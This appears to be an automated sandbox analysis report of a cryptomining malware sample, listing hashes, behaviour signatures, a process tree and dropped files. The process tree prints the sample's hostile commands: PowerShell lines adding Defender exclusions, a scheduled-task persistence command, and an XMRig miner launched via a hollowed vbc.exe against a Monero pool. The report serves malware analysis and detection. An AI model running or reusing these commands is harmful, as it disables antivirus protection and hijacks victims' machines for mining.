Analysis
- max time kernel
120s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system - submitted
13/12/2022, 17:26
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20220901-en
14 signatures
150 seconds
General
- Target file.exe
- Size 1.8MB
- Sample221213-vzvbzafc59
- SHA256 4caaca2890a24087d048b3bee2a5ebd606583d12783af9544d2027bfbfb6e220
- MD5 f132817db02c7bb9c9e65f6ee608bef3
- SHA1 2194beef271161e4d1e0977ea3e4b069b589a84c
- SHA512 a99839f1c9cdad0422488be39e01272cc74929633a87996f7136e4d4307175873ea64e5561c4ec98f8b493510feb99a2e1b0229ae60de75cc2e7f80688d4d269
- SSDEEP 24576:+eI6Ij9xNLt/vKJaXJDt2zQXfKsNzlmrOO9r7XoApjJGrA/unGr3f1R:+eI6Ij9xNLtf2ufOB9g+MrA/unw3f/
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- XMRig Miner payload 6 IoCs
resource yara_rule behavioral2/memory/3244-192-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3244-193-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/3244-194-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3244-195-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3244-197-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3244-199-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 680 JTPFKOXW.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation JTPFKOXW.exe - Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 680 set thread context of 3244 680 JTPFKOXW.exe 96 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4844 schtasks.exe - Delays execution with timeout.exe 1 IoCs
pid Process 3364 timeout.exe - Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 2732 file.exe 2732 file.exe 3508 powershell.exe 4944 powershell.exe 3508 powershell.exe 4944 powershell.exe 680 JTPFKOXW.exe 680 JTPFKOXW.exe 4084 powershell.exe 816 powershell.exe 4084 powershell.exe 816 powershell.exe 680 JTPFKOXW.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 664 Process not Found - Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 2732 file.exe Token: SeDebugPrivilege 3508 powershell.exe Token: SeDebugPrivilege 4944 powershell.exe Token: SeDebugPrivilege 680 JTPFKOXW.exe Token: SeDebugPrivilege 4084 powershell.exe Token: SeDebugPrivilege 816 powershell.exe Token: SeLockMemoryPrivilege 3244 vbc.exe Token: SeLockMemoryPrivilege 3244 vbc.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3244 vbc.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 2732 wrote to memory of 4944 2732 file.exe 81 PID 2732 wrote to memory of 4944 2732 file.exe 81 PID 2732 wrote to memory of 3508 2732 file.exe 80 PID 2732 wrote to memory of 3508 2732 file.exe 80 PID 2732 wrote to memory of 3824 2732 file.exe 77 PID 2732 wrote to memory of 3824 2732 file.exe 77 PID 3824 wrote to memory of 3364 3824 cmd.exe 82 PID 3824 wrote to memory of 3364 3824 cmd.exe 82 PID 3824 wrote to memory of 680 3824 cmd.exe 83 PID 3824 wrote to memory of 680 3824 cmd.exe 83 PID 680 wrote to memory of 4084 680 JTPFKOXW.exe 87 PID 680 wrote to memory of 4084 680 JTPFKOXW.exe 87 PID 680 wrote to memory of 816 680 JTPFKOXW.exe 86 PID 680 wrote to memory of 816 680 JTPFKOXW.exe 86 PID 680 wrote to memory of 4836 680 JTPFKOXW.exe 88 PID 680 wrote to memory of 4836 680 JTPFKOXW.exe 88 PID 4836 wrote to memory of 4844 4836 cmd.exe 90 PID 4836 wrote to memory of 4844 4836 cmd.exe 90 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96 PID 680 wrote to memory of 3244 680 JTPFKOXW.exe 96
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp99F3.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:3364
-
-
C:\ProgramData\common\JTPFKOXW.exe"C:\ProgramData\common\JTPFKOXW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4084
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"5⤵
- Creates scheduled task(s)
PID:4844
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3244
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3508
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4944
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\common\JTPFKOXW.exe
- Size 1.8MB
- SHA256 4caaca2890a24087d048b3bee2a5ebd606583d12783af9544d2027bfbfb6e220
- MD5 f132817db02c7bb9c9e65f6ee608bef3
- SHA1 2194beef271161e4d1e0977ea3e4b069b589a84c
- SHA512 a99839f1c9cdad0422488be39e01272cc74929633a87996f7136e4d4307175873ea64e5561c4ec98f8b493510feb99a2e1b0229ae60de75cc2e7f80688d4d269
- SSDEEP 24576:+eI6Ij9xNLt/vKJaXJDt2zQXfKsNzlmrOO9r7XoApjJGrA/unGr3f1R:+eI6Ij9xNLtf2ufOB9g+MrA/unw3f/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\common\JTPFKOXW.exe
- Size 1.8MB
- SHA256 4caaca2890a24087d048b3bee2a5ebd606583d12783af9544d2027bfbfb6e220
- MD5 f132817db02c7bb9c9e65f6ee608bef3
- SHA1 2194beef271161e4d1e0977ea3e4b069b589a84c
- SHA512 a99839f1c9cdad0422488be39e01272cc74929633a87996f7136e4d4307175873ea64e5561c4ec98f8b493510feb99a2e1b0229ae60de75cc2e7f80688d4d269
- SSDEEP 24576:+eI6Ij9xNLt/vKJaXJDt2zQXfKsNzlmrOO9r7XoApjJGrA/unGr3f1R:+eI6Ij9xNLtf2ufOB9g+MrA/unw3f/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
- MD5 bd5940f08d0be56e65e5f2aaf47c538e
- SHA1 d7e31b87866e5e383ab5499da64aba50f03e8443
- SHA512 c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
- MD5 bd5940f08d0be56e65e5f2aaf47c538e
- SHA1 d7e31b87866e5e383ab5499da64aba50f03e8443
- SHA512 c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
- MD5 9bc110200117a3752313ca2acaf8a9e1
- SHA1 fda6b7da2e7b0175b391475ca78d1b4cf2147cd3
- SHA512 1f1af32aa18a8cbfcc65b0d4fb7e6ca2705f125eaa85789e981ee68b90c64522e954825abf460d4b4f97567715dfae8d9b0a25a4d54d10bc4c257c472f2e80fb
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\tmp99F3.tmp.bat
- Size 143B
- SHA256 de87cc8ba2d91214e975e89a7b9fc064f18365e236c229fb7c7a20b0794c9539
- MD5 7b9161ef734d05969db4b5721b2dfa06
- SHA1 0b530b902f39be6e5243a78146b140b65795242d
- SHA512 23e573d0468cf337da13fd840f763912ea0ee02849197c9f6c59cd32b252b414378d6dd64f929e5b7b3cfb692c0d9d89218f269c252a80b57e510c8670cea458
- MD5 SHA1 SHA512